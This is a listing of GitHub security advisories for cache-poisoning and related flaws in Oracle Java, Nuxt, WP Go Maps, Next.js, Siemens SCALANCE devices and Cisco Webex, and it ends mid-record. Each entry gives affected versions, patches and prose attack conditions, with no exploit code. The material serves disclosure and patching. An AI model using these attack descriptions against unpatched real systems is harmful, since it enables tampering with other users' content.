Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u401, 8u401-perf, 11.0.22, 17.0.10, 21.0.2, 22; Oracle GraalVM for JDK: 17.0.10, 21.0.2, 22; Oracle GraalVM Enterprise Edition: 20.3.13 and 21.3.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).

Severity
3.7 (Low)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-349"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-16T22:15:29Z",
    "severity": "LOW"
  },
  "details": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot).  Supported versions that are affected are Oracle Java SE: 8u401, 8u401-perf, 11.0.22, 17.0.10, 21.0.2, 22; Oracle GraalVM for JDK: 17.0.10, 21.0.2, 22; Oracle GraalVM Enterprise Edition: 20.3.13 and  21.3.9. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 3.7 (Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).",
  "id": "GHSA-g3wm-f7gr-3fwh",
  "modified": "2024-04-26T09:30:34Z",
  "published": "2024-04-17T00:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21094"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240426-0004"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G8WJ-3CR3-6W7V

Vulnerability from github – Published: 2026-05-19 20:03 – Updated: 2026-07-08 17:35
VLAI
Summary
Nuxt: `__nuxt_island` endpoint does not bind responses to request props, enabling shared-cache poisoning
Details

Summary

The /__nuxt_island/* endpoint accepts attacker-controlled props query/body parameters and renders any island component without verifying that the URL-resident hash (<Name>_<hashId>.json) was actually issued for those inputs by <NuxtIsland>. The hash is computed and embedded client-side but never validated server-side, so the same path can return materially different responses depending on the query.

Island components are documented as rendering independently of route context - page middleware does not apply to them, and they are intentionally cacheable as a function of their props. This advisory does not treat that contract as a vulnerability. It treats the absence of a binding between the URL the cache keys on and the response served at that URL as one.

Impact

In applications where a CDN or reverse-proxy in front of the app caches /__nuxt_island/* keyed by path only (ignoring query) - a documented misconfiguration class, see GHSA-jvhm-gjrh-3h93 - an attacker can prime the cache for a path with their own choice of props, and subsequent users requesting the same path receive the attacker's rendered HTML rather than the response intended for them. The cache entry persists until normal expiry.

Where the affected island has any prop flowing into an unsafe HTML sink in application code (v-html, innerHTML, a third-party renderer treating a prop as HTML), this becomes stored XSS in the embedding page's origin until the cache entry expires. HttpOnly cookies remain out of reach but anything else in the origin (other cookies, in-origin requests, DOM state) is reachable by the injected script.

Preconditions:

  • experimental.componentIslands enabled (or the default 'auto' with at least one server / island component in the app).
  • A shared intermediary cache (CDN, reverse-proxy, edge cache) keyed on path only.
  • For the XSS pivot specifically: an application-authored island that puts a prop through an unsafe HTML sink.

Without the second precondition, the response shape is per-request and unaffected. Without the third, the worst case is content-swap / inert HTML injection rather than script execution.

Patches

Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35077. The island handler now recomputes the expected hashId from (name, props, context) using the same ohash function <NuxtIsland> already uses to embed the hash in the URL, and rejects requests (HTTP 400) whose URL-resident hash does not match. The response is now a pure function of the request path: a path-keyed shared cache returns the correct response to every requester for that path, and an attacker cannot synthesise a path whose hash matches arbitrary props.

Workarounds

For users unable to upgrade immediately:

  • Ensure any intermediary cache keys /__nuxt_island/* on the full query string, not on the path alone. This is the recommended configuration regardless.
  • Audit application-authored islands for props flowing into v-html / innerHTML / similar HTML sinks; treat island props as untrusted user input.

Note on island authentication

[!IMPORTANT] It's important to remember that route middleware does not run when rendering island components, and islands cannot rely on routing-layer auth. Applications gating sensitive data behind page middleware should enforce that auth inside the island's own data layer (server-only routes, useRequestEvent + manual session checks, etc.) rather than relying on the embedding page's middleware - this was true before this advisory and remains true after it.

A separate advisory addresses *.server.vue pages registered as page_<routeName> islands, where the documented "middleware doesn't run for islands" contract collides with the page's own definePageMeta({ middleware }) declaration in a way that constitutes a genuine bug rather than documented behaviour.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
2.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.21.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nuxt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha.1"
            },
            {
              "fixed": "4.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.21.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/nitro-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.0"
            },
            {
              "fixed": "3.21.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/nitro-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46342"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-349",
      "CWE-444",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T20:03:24Z",
    "nvd_published_at": "2026-06-12T14:16:31Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\nThe `/__nuxt_island/*` endpoint accepts attacker-controlled `props` query/body parameters and renders any island component without verifying that the URL-resident hash (`\u003cName\u003e_\u003chashId\u003e.json`) was actually issued for those inputs by `\u003cNuxtIsland\u003e`. The hash is computed and embedded client-side but never validated server-side, so the same path can return materially different responses depending on the query.\n\nIsland components are documented as rendering independently of route context - page middleware does not apply to them, and they are intentionally cacheable as a function of their props. This advisory does **not** treat that contract as a vulnerability. It treats the absence of a binding between the URL the cache keys on and the response served at that URL as one.\n\n### Impact\n\nIn applications where a CDN or reverse-proxy in front of the app caches `/__nuxt_island/*` keyed by path only (ignoring query) - a documented misconfiguration class, see GHSA-jvhm-gjrh-3h93 - an attacker can prime the cache for a path with their own choice of props, and subsequent users requesting the same path receive the attacker\u0027s rendered HTML rather than the response intended for them. The cache entry persists until normal expiry.\n\nWhere the affected island has any prop flowing into an unsafe HTML sink in application code (`v-html`, `innerHTML`, a third-party renderer treating a prop as HTML), this becomes stored XSS in the embedding page\u0027s origin until the cache entry expires. `HttpOnly` cookies remain out of reach but anything else in the origin (other cookies, in-origin requests, DOM state) is reachable by the injected script.\n\nPreconditions:\n\n- `experimental.componentIslands` enabled (or the default `\u0027auto\u0027` with at least one server / island component in the app).\n- A shared intermediary cache (CDN, reverse-proxy, edge cache) keyed on path only.\n- For the XSS pivot specifically: an application-authored island that puts a prop through an unsafe HTML sink.\n\nWithout the second precondition, the response shape is per-request and unaffected. Without the third, the worst case is content-swap / inert HTML injection rather than script execution.\n\n### Patches\n\nPatched in `nuxt@4.4.6` and `nuxt@3.21.6` by [#35077](https://github.com/nuxt/nuxt/pull/35077). The island handler now recomputes the expected `hashId` from `(name, props, context)` using the same `ohash` function `\u003cNuxtIsland\u003e` already uses to embed the hash in the URL, and rejects requests (HTTP 400) whose URL-resident hash does not match. The response is now a pure function of the request path: a path-keyed shared cache returns the correct response to every requester for that path, and an attacker cannot synthesise a path whose hash matches arbitrary props.\n\n### Workarounds\n\nFor users unable to upgrade immediately:\n\n- Ensure any intermediary cache keys `/__nuxt_island/*` on the full query string, not on the path alone. This is the recommended configuration regardless.\n- Audit application-authored islands for props flowing into `v-html` / `innerHTML` / similar HTML sinks; treat island props as untrusted user input.\n\n### Note on island authentication\n\n\u003e [!IMPORTANT]\n\u003e It\u0027s important to remember that route middleware does not run when rendering island components, and islands cannot rely on routing-layer auth. Applications gating sensitive data behind page middleware should enforce that auth inside the island\u0027s own data layer (server-only routes, `useRequestEvent` + manual session checks, etc.) rather than relying on the embedding page\u0027s middleware - this was true before this advisory and remains true after it.\n\nA separate advisory addresses `*.server.vue` *pages* registered as `page_\u003crouteName\u003e` islands, where the documented \"middleware doesn\u0027t run for islands\" contract collides with the page\u0027s own `definePageMeta({ middleware })` declaration in a way that constitutes a genuine bug rather than documented behaviour.",
  "id": "GHSA-g8wj-3cr3-6w7v",
  "modified": "2026-07-08T17:35:09Z",
  "published": "2026-05-19T20:03:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-g8wj-3cr3-6w7v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46342"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/pull/35077"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Nuxt: `__nuxt_island` endpoint does not bind responses to request props, enabling shared-cache poisoning"
}

GHSA-GC56-W3PR-7W7F

Vulnerability from github – Published: 2025-10-18 09:30 – Updated: 2025-10-18 09:30
VLAI
Details

The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Cache Poisoning in all versions up to, and including, 9.0.48. This is due to the plugin not serving cached data from server-side responses and instead relying on user-input. This makes it possible for unauthenticated attackers to poison the cache location for location search results.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-11703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-349"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-18T07:15:35Z",
    "severity": "MODERATE"
  },
  "details": "The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Cache Poisoning in all versions up to, and including, 9.0.48. This is due to the plugin not serving cached data from server-side responses and instead relying on user-input. This makes it possible for unauthenticated attackers to poison the cache location for location search results.",
  "id": "GHSA-gc56-w3pr-7w7f",
  "modified": "2025-10-18T09:30:51Z",
  "published": "2025-10-18T09:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11703"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CodeCabin/wp-google-maps/pull/1087/files"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3378871%40wp-google-maps\u0026new=3378871%40wp-google-maps\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://research.cleantalk.org/cve-2025-11703"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/531360c6-e78a-4344-be06-95735337a2d6?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GP8F-8M3G-QVJ9

Vulnerability from github – Published: 2024-09-17 21:58 – Updated: 2024-09-18 14:28
VLAI
Summary
Next.js Cache Poisoning
Details

Impact

By sending a crafted HTTP request, it is possible to poison the cache of a non-dynamic server-side rendered route in the pages router (this does not affect the app router). When this crafted request is sent it could coerce Next.js to cache a route that is meant to not be cached and send a Cache-Control: s-maxage=1, stale-while-revalidate header which some upstream CDNs may cache as well.

To be potentially affected all of the following must apply:

  • Next.js between 13.5.1 and 14.2.9
  • Using pages router
  • Using non-dynamic server-side rendered routes e.g. pages/dashboard.tsx not pages/blog/[slug].tsx

The below configurations are unaffected:

  • Deployments using only app router
  • Deployments on Vercel are not affected

Patches

This vulnerability was resolved in Next.js v13.5.7, v14.2.10, and later. We recommend upgrading regardless of whether you can reproduce the issue or not.

Workarounds

There are no official or recommended workarounds for this issue, we recommend that users patch to a safe version.

Credits

  • Allam Rachid (zhero_)
  • Henry Chen
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "13.5.1"
            },
            {
              "fixed": "13.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "next"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0.0"
            },
            {
              "fixed": "14.2.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-46982"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-349",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-17T21:58:09Z",
    "nvd_published_at": "2024-09-17T22:15:02Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nBy sending a crafted HTTP request, it is possible to poison the cache of a non-dynamic server-side rendered route in the pages router (this does not affect the app router). When this crafted request is sent it could coerce Next.js to cache a route that is meant to not be cached and send a `Cache-Control: s-maxage=1, stale-while-revalidate` header which some upstream CDNs may cache as well. \n\nTo be potentially affected all of the following must apply: \n\n- Next.js between 13.5.1 and 14.2.9\n- Using pages router\n- Using non-dynamic server-side rendered routes e.g. `pages/dashboard.tsx` not `pages/blog/[slug].tsx`\n\nThe below configurations are unaffected:\n\n- Deployments using only app router\n- Deployments on [Vercel](https://vercel.com/) are not affected\n\n\n### Patches\n\nThis vulnerability was resolved in Next.js v13.5.7, v14.2.10, and later. We recommend upgrading regardless of whether you can reproduce the issue or not.\n\n### Workarounds\n\nThere are no official or recommended workarounds for this issue, we recommend that users patch to a safe version.\n\n#### Credits\n\n- Allam Rachid (zhero_)\n- Henry Chen",
  "id": "GHSA-gp8f-8m3g-qvj9",
  "modified": "2024-09-18T14:28:54Z",
  "published": "2024-09-17T21:58:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/security/advisories/GHSA-gp8f-8m3g-qvj9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46982"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/commit/7ed7f125e07ef0517a331009ed7e32691ba403d3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vercel/next.js/commit/bd164d53af259c05f1ab434004bcfdd3837d7cda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vercel/next.js"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Next.js Cache Poisoning"
}

GHSA-GPRP-2VJM-M5GJ

Vulnerability from github – Published: 2023-11-14 12:30 – Updated: 2025-01-14 12:31
VLAI
Details

A vulnerability has been identified in SCALANCE XB205-3 (SC, PN) (All versions < V4.5), SCALANCE XB205-3 (ST, E/IP) (All versions < V4.5), SCALANCE XB205-3 (ST, E/IP) (All versions < V4.5), SCALANCE XB205-3 (ST, PN) (All versions < V4.5), SCALANCE XB205-3LD (SC, E/IP) (All versions < V4.5), SCALANCE XB205-3LD (SC, PN) (All versions < V4.5), SCALANCE XB208 (E/IP) (All versions < V4.5), SCALANCE XB208 (PN) (All versions < V4.5), SCALANCE XB213-3 (SC, E/IP) (All versions < V4.5), SCALANCE XB213-3 (SC, PN) (All versions < V4.5), SCALANCE XB213-3 (ST, E/IP) (All versions < V4.5), SCALANCE XB213-3 (ST, PN) (All versions < V4.5), SCALANCE XB213-3LD (SC, E/IP) (All versions < V4.5), SCALANCE XB213-3LD (SC, PN) (All versions < V4.5), SCALANCE XB216 (E/IP) (All versions < V4.5), SCALANCE XB216 (PN) (All versions < V4.5), SCALANCE XC206-2 (SC) (All versions < V4.5), SCALANCE XC206-2 (ST/BFOC) (All versions < V4.5), SCALANCE XC206-2G PoE (All versions < V4.5), SCALANCE XC206-2G PoE (54 V DC) (All versions < V4.5), SCALANCE XC206-2G PoE EEC (54 V DC) (All versions < V4.5), SCALANCE XC206-2SFP (All versions < V4.5), SCALANCE XC206-2SFP EEC (All versions < V4.5), SCALANCE XC206-2SFP G (All versions < V4.5), SCALANCE XC206-2SFP G (EIP DEF.) (All versions < V4.5), SCALANCE XC206-2SFP G EEC (All versions < V4.5), SCALANCE XC208 (All versions < V4.5), SCALANCE XC208EEC (All versions < V4.5), SCALANCE XC208G (All versions < V4.5), SCALANCE XC208G (EIP def.) (All versions < V4.5), SCALANCE XC208G EEC (All versions < V4.5), SCALANCE XC208G PoE (All versions < V4.5), SCALANCE XC208G PoE (54 V DC) (All versions < V4.5), SCALANCE XC216 (All versions < V4.5), SCALANCE XC216-3G PoE (All versions < V4.5), SCALANCE XC216-3G PoE (54 V DC) (All versions < V4.5), SCALANCE XC216-4C (All versions < V4.5), SCALANCE XC216-4C G (All versions < V4.5), SCALANCE XC216-4C G (EIP Def.) (All versions < V4.5), SCALANCE XC216-4C G EEC (All versions < V4.5), SCALANCE XC216EEC (All versions < V4.5), SCALANCE XC224 (All versions < V4.5), SCALANCE XC224-4C G (All versions < V4.5), SCALANCE XC224-4C G (EIP Def.) (All versions < V4.5), SCALANCE XC224-4C G EEC (All versions < V4.5), SCALANCE XF204 (All versions < V4.5), SCALANCE XF204 DNA (All versions < V4.5), SCALANCE XF204-2BA (All versions < V4.5), SCALANCE XF204-2BA DNA (All versions < V4.5), SCALANCE XP208 (All versions < V4.5), SCALANCE XP208 (Ethernet/IP) (All versions < V4.5), SCALANCE XP208EEC (All versions < V4.5), SCALANCE XP208PoE EEC (All versions < V4.5), SCALANCE XP216 (All versions < V4.5), SCALANCE XP216 (Ethernet/IP) (All versions < V4.5), SCALANCE XP216EEC (All versions < V4.5), SCALANCE XP216POE EEC (All versions < V4.5), SCALANCE XR324WG (24 x FE, AC 230V) (All versions < V4.5), SCALANCE XR324WG (24 X FE, DC 24V) (All versions < V4.5), SCALANCE XR326-2C PoE WG (All versions < V4.5), SCALANCE XR326-2C PoE WG (without UL) (All versions < V4.5), SCALANCE XR328-4C WG (24XFE, 4XGE, 24V) (All versions < V4.5), SCALANCE XR328-4C WG (24xFE, 4xGE,DC24V) (All versions < V4.5), SCALANCE XR328-4C WG (24xFE,4xGE,AC230V) (All versions < V4.5), SCALANCE XR328-4C WG (24xFE,4xGE,AC230V) (All versions < V4.5), SCALANCE XR328-4C WG (28xGE, AC 230V) (All versions < V4.5), SCALANCE XR328-4C WG (28xGE, DC 24V) (All versions < V4.5), SIPLUS NET SCALANCE XC206-2 (All versions < V4.5), SIPLUS NET SCALANCE XC206-2SFP (All versions < V4.5), SIPLUS NET SCALANCE XC208 (All versions < V4.5), SIPLUS NET SCALANCE XC216-4C (All versions < V4.5). Affected products do not properly validate the content of uploaded X509 certificates which could allow an attacker with administrative privileges to execute arbitrary code on the device.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-44317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-349"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T11:15:12Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SCALANCE XB205-3 (SC, PN) (All versions \u003c V4.5), SCALANCE XB205-3 (ST, E/IP) (All versions \u003c V4.5), SCALANCE XB205-3 (ST, E/IP) (All versions \u003c V4.5), SCALANCE XB205-3 (ST, PN) (All versions \u003c V4.5), SCALANCE XB205-3LD (SC, E/IP) (All versions \u003c V4.5), SCALANCE XB205-3LD (SC, PN) (All versions \u003c V4.5), SCALANCE XB208 (E/IP) (All versions \u003c V4.5), SCALANCE XB208 (PN) (All versions \u003c V4.5), SCALANCE XB213-3 (SC, E/IP) (All versions \u003c V4.5), SCALANCE XB213-3 (SC, PN) (All versions \u003c V4.5), SCALANCE XB213-3 (ST, E/IP) (All versions \u003c V4.5), SCALANCE XB213-3 (ST, PN) (All versions \u003c V4.5), SCALANCE XB213-3LD (SC, E/IP) (All versions \u003c V4.5), SCALANCE XB213-3LD (SC, PN) (All versions \u003c V4.5), SCALANCE XB216 (E/IP) (All versions \u003c V4.5), SCALANCE XB216 (PN) (All versions \u003c V4.5), SCALANCE XC206-2 (SC) (All versions \u003c V4.5), SCALANCE XC206-2 (ST/BFOC) (All versions \u003c V4.5), SCALANCE XC206-2G PoE (All versions \u003c V4.5), SCALANCE XC206-2G PoE (54 V DC) (All versions \u003c V4.5), SCALANCE XC206-2G PoE EEC (54 V DC) (All versions \u003c V4.5), SCALANCE XC206-2SFP (All versions \u003c V4.5), SCALANCE XC206-2SFP EEC (All versions \u003c V4.5), SCALANCE XC206-2SFP G (All versions \u003c V4.5), SCALANCE XC206-2SFP G (EIP DEF.) (All versions \u003c V4.5), SCALANCE XC206-2SFP G EEC (All versions \u003c V4.5), SCALANCE XC208 (All versions \u003c V4.5), SCALANCE XC208EEC (All versions \u003c V4.5), SCALANCE XC208G (All versions \u003c V4.5), SCALANCE XC208G (EIP def.) (All versions \u003c V4.5), SCALANCE XC208G EEC (All versions \u003c V4.5), SCALANCE XC208G PoE (All versions \u003c V4.5), SCALANCE XC208G PoE (54 V DC) (All versions \u003c V4.5), SCALANCE XC216 (All versions \u003c V4.5), SCALANCE XC216-3G PoE (All versions \u003c V4.5), SCALANCE XC216-3G PoE (54 V DC) (All versions \u003c V4.5), SCALANCE XC216-4C (All versions \u003c V4.5), SCALANCE XC216-4C G (All versions \u003c V4.5), SCALANCE XC216-4C G (EIP Def.) (All versions \u003c V4.5), SCALANCE XC216-4C G EEC (All versions \u003c V4.5), SCALANCE XC216EEC (All versions \u003c V4.5), SCALANCE XC224 (All versions \u003c V4.5), SCALANCE XC224-4C G (All versions \u003c V4.5), SCALANCE XC224-4C G (EIP Def.) (All versions \u003c V4.5), SCALANCE XC224-4C G EEC (All versions \u003c V4.5), SCALANCE XF204 (All versions \u003c V4.5), SCALANCE XF204 DNA (All versions \u003c V4.5), SCALANCE XF204-2BA (All versions \u003c V4.5), SCALANCE XF204-2BA DNA (All versions \u003c V4.5), SCALANCE XP208 (All versions \u003c V4.5), SCALANCE XP208 (Ethernet/IP) (All versions \u003c V4.5), SCALANCE XP208EEC (All versions \u003c V4.5), SCALANCE XP208PoE EEC (All versions \u003c V4.5), SCALANCE XP216 (All versions \u003c V4.5), SCALANCE XP216 (Ethernet/IP) (All versions \u003c V4.5), SCALANCE XP216EEC (All versions \u003c V4.5), SCALANCE XP216POE EEC (All versions \u003c V4.5), SCALANCE XR324WG (24 x FE, AC 230V) (All versions \u003c V4.5), SCALANCE XR324WG (24 X FE, DC 24V) (All versions \u003c V4.5), SCALANCE XR326-2C PoE WG (All versions \u003c V4.5), SCALANCE XR326-2C PoE WG (without UL) (All versions \u003c V4.5), SCALANCE XR328-4C WG (24XFE, 4XGE, 24V) (All versions \u003c V4.5), SCALANCE XR328-4C WG (24xFE, 4xGE,DC24V) (All versions \u003c V4.5), SCALANCE XR328-4C WG (24xFE,4xGE,AC230V) (All versions \u003c V4.5), SCALANCE XR328-4C WG (24xFE,4xGE,AC230V) (All versions \u003c V4.5), SCALANCE XR328-4C WG (28xGE, AC 230V) (All versions \u003c V4.5), SCALANCE XR328-4C WG (28xGE, DC 24V) (All versions \u003c V4.5), SIPLUS NET SCALANCE XC206-2 (All versions \u003c V4.5), SIPLUS NET SCALANCE XC206-2SFP (All versions \u003c V4.5), SIPLUS NET SCALANCE XC208 (All versions \u003c V4.5), SIPLUS NET SCALANCE XC216-4C (All versions \u003c V4.5). Affected products do not properly validate the content of uploaded X509 certificates which could allow an attacker with administrative privileges to execute arbitrary code on the device.",
  "id": "GHSA-gprp-2vjm-m5gj",
  "modified": "2025-01-14T12:31:47Z",
  "published": "2023-11-14T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-44317"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-068047.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-602936.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-690517.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-699386.html"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-068047.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-699386.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JRWQ-36RX-842C

Vulnerability from github – Published: 2025-05-21 18:33 – Updated: 2025-05-21 18:33
VLAI
Details

A vulnerability in client join services of Cisco Webex Meetings could allow an unauthenticated, remote attacker to manipulate cached HTTP responses within the meeting join service.

This vulnerability is due to improper handling of malicious HTTP requests to the affected service. An attacker could exploit this vulnerability by manipulating stored HTTP responses within the service, also known as HTTP cache poisoning. A successful exploit could allow the attacker to cause the Webex Meetings service to return incorrect HTTP responses to clients.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-349"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-21T17:15:56Z",
    "severity": "MODERATE"
  },
